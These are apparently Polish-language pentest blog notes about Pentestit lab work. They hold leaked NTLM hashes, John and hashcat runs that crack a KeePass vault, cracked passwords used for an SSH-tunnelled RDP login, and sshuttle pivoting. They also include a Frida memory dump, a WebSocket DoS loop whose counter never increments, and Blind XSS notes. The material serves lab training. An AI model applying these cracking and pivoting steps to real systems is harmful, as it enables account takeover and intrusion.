r.lampman:1007:bc4e239bffb3c834aad3b435b51404ee:c60e748f9b3eeccfede53690c89513e5:::
d.rector:1008:eb7822c22a86e7e2ff17365faf1ffe89:50fa25e9f358ebcd7c6bfe2da702d84e:::

john --rules=NT --wordlist=/usr/share/wordlists/rockyou.txt --format=NT dump_hashy


AdministratorPASSW0RDb34ce522c3e4c8774a3b108f3fa6cb6d
d.rector???????4eb7822c22a86e7e2ff17365faf1ffe89
r.lampmanSHALOMbc4e239bffb3c834aad3b435b51404ee
t.smithCESARf8393cbc8a5610aeaad3b435b51404ee

#### terminal2
ssh d.nash@192.168.101.8 -L 3389:192.168.3.2:3389

xfreerdp  /u:d.rector /p:JeshaeM4 /v:127.0.0.1



### mail
d.rector@cybear32c.lab : cybear32c.lab
wysylam mail z zalacznikiem *.aspx i dostaje token do r.diaz@cybear32c
"I'm sorry, but I'm allowed to open Microsoft office docs only if they're sent by Robert Lampman.
 ps mail token - aef3Baen"






Wykrywanie zalogowanych użytkowników w Windows przez RDP jeśli dla logowania potrzebny jest kerberos

$
0
0


(ms-wbt-server Microsoft Terminal Service.)

Problem z systemem Windows RDP polega na tym, że podczas próby ustanowienia sesji RDP konieczne będzie posiadanie prawidłowej nazwy użytkownika / hasła, która jest uwierzytelniana przez Kerberos, a także użytkownik tworzący połączenie musi być częścią grupy RDP w usłudze Active Directory, aby móc się połączyć.

Więc co powinniśmy zrobić?


Cóż, możemy próbować połączyć się z urządzeniem za pośrednictwem RDesktop i zobaczyć, kto jest zalogowany, ale to nie będzie działało, ponieważ program RDesktop nie używa schematu uwierzytelniania Kerberos, który spowodowałby awarię połączenia, a bez prawidłowej nazwy użytkownika spróbuje do połączenia jako root i zobaczymy, że userem dostępnym jest root co będzie błędne.

Możemy w rzeczywistości korzystać z innego narzędzia RDP o nazwie XFreeRDP, który wykorzystuje schemat uwierzytelniania Kerberos - ale tak nie jest! XFreeRDP ma fajną funkcję, która pozwala na wykrycie ważnych użytkowników na komputerze, jeśli nie wysyłasz żadnej nazwy użytkownika podczas łączenia!

xfreerdp /v:127.0.0.1 -sec-nla /u:""

connected to 127.0.0.1:3389
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@           WARNING: CERTIFICATE NAME MISMATCH!           @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
The hostname used for this connection (127.0.0.1)
does not match the name given in the certificate:
Common Name (CN):
ARM-1
A valid certificate for the wrong name should NOT be trusted!
Certificate details:
Subject: CN = ARM-1
Issuer: CN = ARM-1
Thumbprint: 6e:3f:1f:e6:15:ee:13:c5:9f:f6:87:db:83:32:86:a4:c8:bb:7e:6f
The above X.509 certificate could not be verified, possibly because you do not have the CA certificate in your certificate store, or the certificate has expired. Please look at the documentation on how to create local certificate store for a private CA

Tunel SSH pomiędzy maszyną, a kilkoma sieciami

$
0
0

https://github.com/apenwarr/sshuttle

sshuttle -e "ssh -i file.key" -r w4cky@172.16.0.252 192.168.10.0/24 192.168.11.0/24

nie wymaga roota :)

Pentestit Lab v11 - CLOUD token [writeup]

$
0
0
Na serwerze 192.168.10.1 w /var/tmp znajdujemy dump.pcap z pcapa nalezy wyciagnac hasło do owncloud na 192.168.10.3




z owncloud pobieramy my_store.kdbx


./keepass2john my_store.kdbx > my_store.hash2

my_store:$keepass$*2*100000*222*248fc218b7a47edeecd7a79e8587d5ff2c2221d98efd99837fe198ab0de8a82e*330c91f974cb4df1d015bb15456d382db9c0c2f362909d5cd74f9b951fdee2f7*828fb21b74cda7ae28a21473aaa62384*f974657de86a3aca6faec09804d852a4df5fba5847e54d18e12bd81c33cce528*7ca22042949d204e2f35aae52982946c101679205aa8db0ece2135cdb574170c

usuwamy z pliku początek "my_store:"

$keepass$*2*100000*222*248fc218b7a47edeecd7a79e8587d5ff2c2221d98efd99837fe198ab0de8a82e*330c91f974cb4df1d015bb15456d382db9c0c2f362909d5cd74f9b951fdee2f7*828fb21b74cda7ae28a21473aaa62384*f974657de86a3aca6faec09804d852a4df5fba5847e54d18e12bd81c33cce528*7ca22042949d204e2f35aae52982946c101679205aa8db0ece2135cdb574170c:reajel


PS E:\Tools\hashcat-3.6.0> .\hashcat64.exe -m 13400 -a 0 -w 3 ..\..\pentestit\my_store.hash2 ..\..\rockyou.txt --show
$keepass$*2*100000*222*248fc218b7a47edeecd7a79e8587d5ff2c2221d98efd99837fe198ab0de8a82e*330c91f974cb4df1d015bb15456d382db9c0c2f362909d5cd74f9b951fdee2f7*828fb21b74cda7ae28a21473aaa62384*f974657de86a3aca6faec09804d852a4df5fba5847e54d18e12bd81c33cce528*7ca22042949d204e2f35aae52982946c101679205aa8db0ece2135cdb574170c:reajel

Session..........: hashcat
Status...........: Cracked
Hash.Type........: KeePass 1 (AES/Twofish) and KeePass 2 (AES)
Hash.Target......: $keepass$*2*100000*222*248fc218b7a47edeecd7a79e8587...74170c
Time.Started.....: Sat Sep 16 16:53:59 2017 (29 mins, 47 secs)
Time.Estimated...: Sat Sep 16 17:23:46 2017 (0 secs)
Guess.Base.......: File (..\..\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:     2621 H/s (146.45ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 4685824/14343297 (32.67%)
Rejected.........: 0/4685824 (0.00%)
Restore.Point....: 4259840/14343297 (29.70%)
Candidates.#1....: ridebmxdd -> phred2525
HWMon.Dev.#1.....: Temp: 72c Fan: 33% Util:100% Core:1303MHz Mem:3004MHz Bus:16

Started: Sat Sep 16 16:53:54 2017
Stopped: Sat Sep 16 17:23:48 2017
PS E:\Tools\hashcat-3.6.0>

Hasło złamane.

Po zaimportowaniu pliku do keepass v2 uzyskamy dostęp do tokena: Sky_is_Over!

How to install NDK with Android SDK Manager [windows]

$
0
0

  1. Close Android SDK Manager
  2. Start a Command Prompt as Administrator
  3. cd"path to your installation of Android SDK Manager"\tools\bin
  4. sdkmanager ndk-bundle
  5. Accept the License Agreement
  6. Wait a long time. The installation is done without any progress indicator.
  7. When it finally reports done, start Android SDK Manager
  8. Look under Extras and there you'll find Ndk Bundle

https://stackoverflow.com/questions/41471000/how-to-install-ndk-with-android-sdk-manager

Android - frida - memory dump app

$
0
0
https://www.frida.re/docs/android/
https://github.com/Nightbringer21/fridump
/fridump# python fridump.py -u -s -o /tmp/ --max-size 2097152 com.app-name.rc.nopin
http://pentestcorner.com/fridump-android-examples/

WebSocket DoS tester

$
0
0
Pyhton client - websocket denial of service tester


import websocket
import ssl
from websocket import create_connection



counter = 0
while counter <= 100:
        ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE})

        ws.connect("wss://echo.websocket.org")
        print("Sending 'Hello, World'...")
        ws.send("Hello, World")
        print("Sent")
        print("'%s'" % counter)
        print("Receiving...")
        result =  ws.recv()
        print("Received '%s'" % result)
        counter +1

Blind XSS

$
0
0

Notatki z SHP


Excessy - narzędzie do XSS , używające websockets od Michała Bentkowskiego

XSS PROXY - https://github.com/securityMB/excessy 


iframe=sanbox jako ochrona przed xss

  1. request get aby pobrać token csrf
  2. Potem post aby go użyć

Viewing all 114 articles
Browse latest View live